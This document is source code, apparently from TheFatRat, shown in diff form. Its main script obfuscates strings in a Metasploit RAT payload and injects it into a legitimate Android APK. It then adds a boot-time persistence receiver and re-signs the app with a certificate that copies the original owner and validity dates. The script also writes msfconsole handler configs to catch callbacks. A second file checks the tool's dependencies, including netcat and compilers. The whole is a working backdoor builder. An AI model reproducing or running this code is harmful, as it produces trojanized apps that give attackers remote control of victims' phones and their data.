filewithlinenum=`echo $line |awk -F ": " '{ print $1 }'`
|
||||
echo "File with line num: $filewithlinenum" >>$LOG_FILE 2>&1
|
||||
file=`echo $filewithlinenum |awk -F ":" '{ print $1 }'`
|
||||
echo "File: $file" >>$LOG_FILE 2>&1
|
||||
linenum=`echo $filewithlinenum |awk -F ":" '{ print $2 }'`
|
||||
echo "Line num: $linenum" >>$LOG_FILE 2>&1
|
||||
target=`echo $line |awk -F ", " '{ print $2 }'`
|
||||
echo "Target: $target" >>$LOG_FILE 2>&1
|
||||
tmp=`echo $line |awk -F ": " '{ print $2 }'`
|
||||
reg=`echo $tmp |awk '{ print $2 }' |sed 's/,//'`
|
||||
echo "Reg: $reg" >>$LOG_FILE 2>&1
|
||||
stripped_target=`sed -e 's/^"//' -e 's/"$//' <<<"$target"`
|
||||
echo "Stripped target: $stripped_target" >>$LOG_FILE 2>&1
|
||||
replacement=`$ASO e "$stripped_target" k "$so_key"`
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "Failed to obfuscate target value" >>$LOG_FILE 2>&1
|
||||
touch $MY_PATH/temp/obfuscate.error
|
||||
break
|
||||
fi
|
||||
echo "Replacement: $replacement" >>$LOG_FILE 2>&1
|
||||
echo "" >> $LOG_FILE 2>&1
|
||||
|
||||
sed -i -e ''"$linenum"'d' $file >>$LOG_FILE 2>&1
|
||||
sed -i ''"$linenum"'i '"$placeholder"'' $file >>$LOG_FILE 2>&1
|
||||
|
||||
cp -v $MY_PATH/temp/obfuscate.method $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
|
||||
|
||||
echo "$placeholder" >> $TMP_DIR/placeholders.txt
|
||||
|
||||
sed -i 's/###REG###/'"$reg"'/' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "Failed to inject register value" >>$LOG_FILE 2>&1
|
||||
touch $MY_PATH/temp/obfuscate.error
|
||||
break
|
||||
fi
|
||||
sed -i 's|###VALUE###|'"$replacement"'|' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "Failed to inject replacement value" >>$LOG_FILE 2>&1
|
||||
touch $MY_PATH/temp/obfuscate.error
|
||||
break
|
||||
fi
|
||||
done
|
||||
cd $TMP_DIR
|
||||
cat placeholders.txt |while read placeholder; do
|
||||
if [ -f $placeholder.stub ]; then
|
||||
sed -i -e '/'"$placeholder"'/r '"$placeholder"'.stub' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
sed -i -e '/'"$placeholder"'/d' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
|
||||
fi
|
||||
done
|
||||
cd $MY_PATH
|
||||
rm -v $TMP_DIR/*.stub >>$LOG_FILE 2>&1
|
||||
rm -v $TMP_DIR/placeholders.txt >>$LOG_FILE 2>&1
|
||||
if [ ! -f $MY_PATH/temp/obfuscate.error ]; then
|
||||
class="$stringobfuscator_class"
|
||||
sed -i 's|###CLASS###|'"$class"'|' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
method="$new_so_unobfuscate_method_name"
|
||||
sed -i 's|###METHOD###|'"$method"'|' $MY_PATH/temp/original/smali/$INJECT_PACKAGE/*.smali
|
||||
rc=$?
|
||||
fi
|
||||
else
|
||||
rm -v $MY_PATH/temp/obfuscate.error >>$LOG_FILE 2>&1
|
||||
rc=1
|
||||
fi
|
||||
fi
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to obfuscate const-string values in RAT smali files"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
echo -n "[*] Adding hook in original smali file..."
|
||||
hook_smali_file $new_ms_name $smali_file_to_hook
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to add hook"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
dotted_inject_package=$(echo "$INJECT_PACKAGE" |sed -r 's:/:.:g')
|
||||
cat >$MY_PATH/temp/persistence.hook <<EOL
|
||||
<receiver android:name="${dotted_inject_package}.${new_mbr_name}">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<service android:exported="true" android:name="${dotted_inject_package}.${new_ms_name}"/>
|
||||
EOL
|
||||
grep "android.permission.RECEIVE_BOOT_COMPLETED" $original_manifest_file >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
echo -n "[*] Adding persistence hook in original project..."
|
||||
sed -i '0,/<\/application>/s//'"$placeholder"'\n <\/application>/' $original_manifest_file >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i '/'"$placeholder"'/r '"$MY_PATH"'/persistence.hook' $original_manifest_file >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc == 0 ]; then
|
||||
sed -i '/'"$placeholder"'/d' $original_manifest_file >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
fi
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to add persistence hook"
|
||||
exit $rc
|
||||
fi
|
||||
else
|
||||
echo "[+] Unable to add persistence hook due to missing permission"
|
||||
fi
|
||||
|
||||
echo -n "[*] Recompiling original project with backdoor..."
|
||||
$APKTOOL b $MY_PATH/temp/original >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to recompile original project with backdoor"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
keystore=$MY_PATH/temp/signing.keystore
|
||||
compiled_apk=$MY_PATH/temp/original/dist/$ORIG_APK_FILE_NAME
|
||||
unaligned_apk=$MY_PATH/temp/original/dist/unaligned.apk
|
||||
|
||||
dname=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Owner:" |sed 's/^.*: //g'`
|
||||
echo "Original dname value: $dname" >>$LOG_FILE 2>&1
|
||||
|
||||
valid_from_line=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Valid from:"`
|
||||
echo "Original valid from line: $valid_from_line" >>$LOG_FILE 2>&1
|
||||
from_date=$(sed 's/^Valid from://g' <<< $valid_from_line |sed 's/until:.\+$//g' |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g')
|
||||
echo "Original from date: $from_date" >>$LOG_FILE 2>&1
|
||||
from_date_tz=$(awk '{ print $5 }' <<< $from_date)
|
||||
from_date_norm=$(sed 's/[[:space:]]'"$from_date_tz"'//g' <<< $from_date)
|
||||
echo "Normalized from date: $from_date_norm" >>$LOG_FILE 2>&1
|
||||
to_date=$(sed 's/^Valid from:.\+until://g' <<< $valid_from_line |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g')
|
||||
echo "Original to date: $to_date" >>$LOG_FILE 2>&1
|
||||
to_date_tz=$(awk '{ print $5 }' <<< $to_date)
|
||||
to_date_norm=$(sed 's/[[:space:]]'"$to_date_tz"'//g' <<< $to_date)
|
||||
echo "Normalized to date: $to_date_norm" >>$LOG_FILE 2>&1
|
||||
from_date_str=`TZ=UTC date --date="$from_date_norm" +"%Y/%m/%d %T"`
|
||||
echo "Value of from_date_str: $from_date_str" >>$LOG_FILE 2>&1
|
||||
end_ts=$(TZ=UTC date -ud "$to_date_norm" +'%s')
|
||||
start_ts=$(TZ=UTC date -ud "$from_date_norm" +'%s')
|
||||
validity=$(( ( (${end_ts} - ${start_ts}) / (60*60*24) ) ))
|
||||
echo "Value of validity: $validity" >>$LOG_FILE 2>&1
|
||||
|
||||
echo -n "[*] Generating RSA key for signing..."
|
||||
$KEYTOOL -genkey -noprompt -alias signing.key -startdate "$from_date_str" -validity $validity -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
if [ $rc != 0 ]; then
|
||||
echo "Retrying RSA key generation without original APK cert from date and validity values" >>$LOG_FILE 2>&1
|
||||
$KEYTOOL -genkey -noprompt -alias signing.key -validity 10000 -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
fi
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to generate RSA key"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
echo -n "[*] Signing recompiled APK..."
|
||||
$JARSIGNER -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to sign recompiled APK"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
echo -n "[*] Verifying signed artifacts..."
|
||||
$JARSIGNER -verify -certs $compiled_apk >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to verify signed artifacts"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
mv $compiled_apk $unaligned_apk
|
||||
|
||||
echo -n "[*] Aligning recompiled APK..."
|
||||
$ZIPALIGN 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1
|
||||
rc=$?
|
||||
echo "done."
|
||||
if [ $rc != 0 ]; then
|
||||
echo "[!] Failed to align recompiled APK"
|
||||
exit $rc
|
||||
fi
|
||||
|
||||
rm $unaligned_apk
|
||||
|
||||
fiapk=$MY_PATH/temp/original/dist/app.apk
|
||||
if [ -f "$fiapk" ]
|
||||
then
|
||||
echo -e $green ""
|
||||
echo -ne "[*] Backdoor apk created succefully"
|
||||
else
|
||||
echo -e $red "There was a problem in the creation of your Rat apk file ,
|
||||
check $MY_PATH/logs/apk.log for more information about the error ."
|
||||
rm -rf temp/* > /dev/null 2>&1
|
||||
exit 1
|
||||
fi
|
||||
|
||||
#looking if already exists a previous backdoor apk created and renaming it
|
||||
ren=`shuf -i 1-1000 -n 1`
|
||||
back="$output/app_backdoor.apk"
|
||||
if [ -f "$back" ]
|
||||
then
|
||||
mv $output/app_backdoor.apk $output/app_backdoor_$ren.apk
|
||||
echo -e $yellow ""
|
||||
echo "FatRat Detected that you already had a previous created backdoor
|
||||
file in ($output/) with the name app_backdoor.apk ."
|
||||
echo -e $blue ""
|
||||
echo "FatRat have renamed your old backdoor to app_backdoor_$ren.apk"
|
||||
|
||||
#Moving finished backdoor file to final destination
|
||||
mv $MY_PATH/temp/original/dist/app.apk $output/app_backdoor.apk > /dev/null 2>&1
|
||||
echo -e $green ""
|
||||
echo "Your RAT apk was successfully builded and signed , it is located here :
|
||||
~/Fatrat_Generated/app_backdoor.apk"
|
||||
rm -rf temp/* > /dev/null 2>&1
|
||||
echo ""
|
||||
else
|
||||
mv $MY_PATH/temp/original/dist/app.apk $output/app_backdoor.apk > /dev/null 2>&1
|
||||
echo -e $green ""
|
||||
echo "Your RAT apk was successfully builded and signed , it is located here :
|
||||
~/Fatrat_Generated/app_backdoor.apk"
|
||||
rm -rf temp/* >/dev/null 2>&1
|
||||
echo ""
|
||||
fi
|
||||
echo -e $okegreen "Do you want to create a listener for this configuration"
|
||||
echo -e $okegreen "to use in msfconsole in future ?"
|
||||
echo ""
|
||||
echo -ne $cyan "Choose y/n : "
|
||||
read sel
|
||||
case $sel in
|
||||
y|Y|Yes|yes|YES)
|
||||
echo ""
|
||||
echo -e $green "Write the name for this config . (ex : myratapk)"
|
||||
echo -ne "Filename : ";tput sgr0
|
||||
read fname
|
||||
fl="$fname"
|
||||
if [ -z $fname ]
|
||||
then
|
||||
svf="$path/config/listeners/myratapk.rc"
|
||||
if [ -f $svf ]; then
|
||||
svf="$path/config/listeners/myratapk$ren.rc"
|
||||
touch $svf
|
||||
payloads=`sed -n 3p $apkconf`
|
||||
yourip=`sed -n 4p $apkconf`
|
||||
yourport=`sed -n 5p $apkconf`
|
||||
echo "use exploit/multi/handler" > $svf
|
||||
echo "set PAYLOAD $payloads" >> $svf
|
||||
echo "set LHOST $yourip" >> $svf
|
||||
echo "set LPORT $yourport" >> $svf
|
||||
echo "exploit -j" >> $svf
|
||||
echo -e $green ""
|
||||
echo "Configuration file saved to $list/myratapk$ren.rc"
|
||||
else
|
||||
svf="$path/config/listeners/myratapk.rc"
|
||||
touch $svf
|
||||
payloads=`sed -n 3p $apkconf`
|
||||
yourip=`sed -n 4p $apkconf`
|
||||
yourport=`sed -n 5p $apkconf`
|
||||
echo "use exploit/multi/handler" > $svf
|
||||
echo "set PAYLOAD $payloads" >> $svf
|
||||
echo "set LHOST $yourip" >> $svf
|
||||
echo "set LPORT $yourport" >> $svf
|
||||
echo "exploit -j" >> $svf
|
||||
echo -e $green ""
|
||||
echo "Configuration file saved to $list/myratapk.rc"
|
||||
fi
|
||||
else
|
||||
svf="$path/config/listeners/$fl.rc"
|
||||
if [ -f $svf ]
|
||||
then
|
||||
svf="$path/config/listeners/$fl$ren.rc"
|
||||
touch $svf
|
||||
payloads=`sed -n 3p $apkconf`
|
||||
yourip=`sed -n 4p $apkconf`
|
||||
yourport=`sed -n 5p $apkconf`
|
||||
echo "use exploit/multi/handler" > $svf
|
||||
echo "set PAYLOAD $payloads" >> $svf
|
||||
echo "set LHOST $yourip" >> $svf
|
||||
echo "set LPORT $yourport" >> $svf
|
||||
echo "exploit -j" >> $svf
|
||||
echo -e $blue ""
|
||||
echo "Configuration file saved to $list/$fl$ren.rc"
|
||||
else
|
||||
svf="$path/config/listeners/$fl.rc"
|
||||
touch $svf
|
||||
payloads=`sed -n 3p $apkconf`
|
||||
yourip=`sed -n 4p $apkconf`
|
||||
yourport=`sed -n 5p $apkconf`
|
||||
echo "use exploit/multi/handler" > $svf
|
||||
echo "set PAYLOAD $payloads" >> $svf
|
||||
echo "set LHOST $yourip" >> $svf
|
||||
echo "set LPORT $yourport" >> $svf
|
||||
echo "exploit -j" >> $svf
|
||||
echo -e $blue ""
|
||||
echo "Configuration file saved to $list/$fl.rc"
|
||||
fi
|
||||
fi
|
||||
echo -e $green ""
|
||||
exit
|
||||
;;
|
||||
n|no|No|NO)
|
||||
echo -e $green ""
|
||||
exit
|
||||
;;
|
||||
*)
|
||||
echo -e $green ""
|
||||
exit
|
||||
;;
|
||||
esac
|
||||
|
|
@ -1 +0,0 @@
|
|||
#OUTPUT FOR EMBED BACKDOOR ( CREATE BACKDOOR WITH BACKDOOR FACTORY )
|
400
chk_tools
Normal file
|
@ -0,0 +1,400 @@
|
|||
#!/bin/bash
|
||||
cyan='\033[0;36m'
|
||||
green='\033[0;32m'
|
||||
lightgreen='\e[0;32m'
|
||||
white='\e[0;37m'
|
||||
red='\e[0;31m'
|
||||
yellow='\033[0;33m'
|
||||
blue='\033[0;34m'
|
||||
orange='\e[38;5;166m'
|
||||
|
||||
echo -e "$orange""---------$green TheFatRat tools version check$orange----------"
|
||||
echo -e "$orange""-------------------------------------------------"
|
||||
|
||||
echo -ne "$green""* - Checking$cyan Netcat$green (Net Check)..............."
|
||||
which nc > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install netcat"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Xterm$green (Terminal)................."
|
||||
which xterm > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install xterm"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Dig$green (Dns-Util)..................."
|
||||
which dig > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install dnsutils"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan mono-mcs$green (compiler).............."
|
||||
which mcs > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install mono-mcs mono-devel"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Gcc$green (compiler)..................."
|
||||
which gcc > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install gcc"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Apache2$green (Web Server)............."
|
||||
which apache2 > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install apache2"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Gnome Terminal$green (Terminal)........"
|
||||
which gnome-terminal > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install gnome-terminal"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Upx$green (File Compressor)............"
|
||||
which upx > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install upx-ucl"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Ruby$green (Programming)..............."
|
||||
which ruby > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install ruby"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Gem$green (Ruby modules installer)....."
|
||||
which gem > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
echo -ne "$green""* - Checking$cyan nokogiri$green (Ruby module)..........."
|
||||
chkvs=$(gem list | grep "nokogiri")
|
||||
if [[ ! -z "$chkvs" ]]
|
||||
then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green gem install nokogiri"
|
||||
fi
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green https://rubygems.org/pages/download"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Openssl$green (Certificates)..........."
|
||||
which openssl > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install openssl"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Python2$green (Programming)............"
|
||||
which python2 > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install python2-minimal"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Python3$green (Programming)............"
|
||||
which python3 > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install python3"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Python-pip3$green (Module Installer)..."
|
||||
which pip3 > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
echo -ne "$green""* - Checking$cyan names$green (python module)............"
|
||||
chkvs=$(pip3 list | grep "names")
|
||||
if [[ ! -z "$chkvs" ]]
|
||||
then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green pip3 install names"
|
||||
fi
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install python3-pip"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Build-Essential$green (Cross Compiler)."
|
||||
chkvs=$(apt-cache policy build-essential | grep "Installed" | awk '{print$2}')
|
||||
if [[ "$chkvs" == "(none)" ]]
|
||||
then
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install build-essential"
|
||||
else
|
||||
echo "[✔]"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan lib32z1$green (apk Req.)..............."
|
||||
chkvs=$(apt-cache policy lib32z1 | grep "Installed" | awk '{print$2}')
|
||||
if [[ "$chkvs" == "(none)" ]]
|
||||
then
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install lib32z1"
|
||||
else
|
||||
echo "[✔]"
|
||||
fi
|
||||
|
||||
echo -ne "$green""* - Checking$cyan lib32ncurses5$green (apk Req.)........."
|
||||
chkvs=$(apt-cache policy lib32ncurses5 | grep "Installed" | awk '{print$2}')
|
||||
if [[ "$chkvs" == "(none)" ]]
|
||||
then
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install lib32ncurses5"
|
||||
else
|
||||
echo "[✔]"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan lib32stdc++6$green (apk Req.).........."
|
||||
chkvs=$(apt-cache policy lib32stdc++6 | grep "Installed" | awk '{print$2}')
|
||||
if [[ "$chkvs" == "(none)" ]]
|
||||
then
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install lib32stdc++6"
|
||||
else
|
||||
echo "[✔]"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Jarsigner$green (apk Req.)............."
|
||||
which jarsigner > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
echo -ne "$green""* - Checking$cyan Keytool$green (apk Req.)..............."
|
||||
which keytool > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install default-jdk default-jre"
|
||||
fi
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install default-jdk default-jre"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Unzip$green (Unpacker)................."
|
||||
which unzip > /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install unzip"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Zipalign$green (Apk Req.).............."
|
||||
if [ -f "tools/android-sdk/zipalign" ]; then
|
||||
echo "[✔]"
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Solution:$green Clone Fatrat Git again to a different directory"
|
||||
echo -e "$orange""zipalign was not found in fatrat package"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Mingw 64 Bit$green (Compiler).........."
|
||||
which x86_64-w64-mingw32-gcc >> /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
chkvs=$(x86_64-w64-mingw32-gcc --version | sed -n 1p | awk '{print$3}')
|
||||
case $chkvs in
|
||||
4.9.1)
|
||||
echo "[✔]"
|
||||
;;
|
||||
6.3.0)
|
||||
echo "[✔]"
|
||||
;;
|
||||
*)
|
||||
echo -e "$green""[${red}x$green]$orange Incorrect 64Bit Version for Fudwin in Fatrat"
|
||||
echo ""
|
||||
echo -e "$orange""------------Solution -------------"
|
||||
echo -e "$cyan""Step 1 - Remove your current ming installation"
|
||||
echo ""
|
||||
echo -e "$green""apt-get remove --purge *mingw* -y && apt-get autoremove -y"
|
||||
echo ""
|
||||
echo -e "$cyan""Step 2 - Run Setup from fatrat"
|
||||
echo ""
|
||||
echo -e "$green""chmod +x setup.sh && ./setup.sh"
|
||||
echo -e "$orange""----------------------------------"
|
||||
echo ""
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Not Found"
|
||||
echo ""
|
||||
echo -e "$orange""------------Solution -------------"
|
||||
echo -e "$cyan""Step 1 - Run Setup from fatrat"
|
||||
echo ""
|
||||
echo -e "$green""chmod +x setup.sh && ./setup.sh"
|
||||
echo ""
|
||||
echo -e "$orange""----------------------------------"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Mingw 32 Bit$green (Compiler).........."
|
||||
which i686-w64-mingw32-gcc >> /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
chkvs=$(i686-w64-mingw32-gcc --version | sed -n 1p | awk '{print$3}')
|
||||
case $chkvs in
|
||||
4.9.1)
|
||||
echo "[✔]"
|
||||
;;
|
||||
6.3.0)
|
||||
echo "[✔]"
|
||||
;;
|
||||
*)
|
||||
echo -e "$green""[${red}x$green]$orange Incorrect 64Bit Version for Fudwin in Fatrat"
|
||||
echo ""
|
||||
echo -e "$orange""------------Solution -------------"
|
||||
echo -e "$cyan""Step 1 - Remove your current ming installation"
|
||||
echo ""
|
||||
echo -e "$green""apt-get remove --purge *mingw* -y && apt-get autoremove -y"
|
||||
echo ""
|
||||
echo -e "$cyan""Step 2 - Run Setup from fatrat"
|
||||
echo ""
|
||||
echo -e "$green""chmod +x setup.sh && ./setup.sh"
|
||||
echo -e "$orange""----------------------------------"
|
||||
echo ""
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Not Found"
|
||||
echo ""
|
||||
echo -e "$orange""------------Solution -------------"
|
||||
echo -e "$cyan""Step 1 - Run setup from fatrat"
|
||||
echo ""
|
||||
echo -e "$green""chmod +x setup.sh && ./setup.sh"
|
||||
echo -e "$orange""----------------------------------"
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
rm -rf temp/dx >/dev/null 2>&1
|
||||
echo -ne "$green""* - Checking$cyan Dx$green (Apk Req.)...................."
|
||||
which dx >> /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
dxg=$(dx --version 2>&1 | tee temp/dx > /dev/null 2>&1)
|
||||
chkvs=$(grep "version" < temp/dx | awk '{print $3}')
|
||||
case "$chkvs" in
|
||||
1.16)
|
||||
echo "[✔]"
|
||||
;;
|
||||
*)
|
||||
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Remove your current install dx version"
|
||||
echo ""
|
||||
echo -e "$green""apt-get remove --purge dx"
|
||||
echo ""
|
||||
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
|
||||
echo -e "$orange""----------------------------------"
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Not Found"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
|
||||
echo -e "$orange""----------------------------------"
|
||||
fi
|
||||
rm -f temp/dx >/dev/null 2>&1
|
||||
echo -ne "$green""* - Checking$cyan Aapt$green (Apk Req.).................."
|
||||
which aapt >> /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
chkvs=$(aapt v | grep "Android" | awk '{print $5}')
|
||||
case "$chkvs" in
|
||||
v0.2-6625208)
|
||||
echo "[✔]"
|
||||
;;
|
||||
*)
|
||||
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Remove your current installed aapt version"
|
||||
echo ""
|
||||
echo -e "$green""apt-get remove --purge aapt"
|
||||
echo ""
|
||||
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
|
||||
echo -e "$orange""----------------------------------"
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Not Found"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
|
||||
echo -e "$orange""----------------------------------"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Apktool$green (Apk Req.)..............."
|
||||
which apktool >> /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
chkvs=$(apktool --version | awk '{print$1}')
|
||||
case "$chkvs" in
|
||||
2.6.0)
|
||||
echo "[✔]"
|
||||
;;
|
||||
*)
|
||||
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Remove your current installed apktool version"
|
||||
echo ""
|
||||
echo -e "$green""apt-get remove --purge apktool -y && rm /usr/local/sbin/apktool > /dev/null 2>&1"
|
||||
echo ""
|
||||
|
||||
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
|
||||
echo -e "$orange""----------------------------------"
|
||||
;;
|
||||
esac
|
||||
else
|
||||
echo -e "$green""[${red}x$green]$orange Not Found"
|
||||
echo -e "$orange""------------Solution-------------"
|
||||
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
|
||||
echo -e "$orange""----------------------------------"
|
||||
fi
|
||||
echo -ne "$green""* - Checking$cyan Baksmali$green (Apk Req.).............."
|
||||
which baksmali >> /dev/null 2>&1
|
||||
if [ "$?" -eq "0" ]; then
|
||||
chkvs=$(baksmali --version | grep "baksmali" | awk '{print$2}')
|
||||
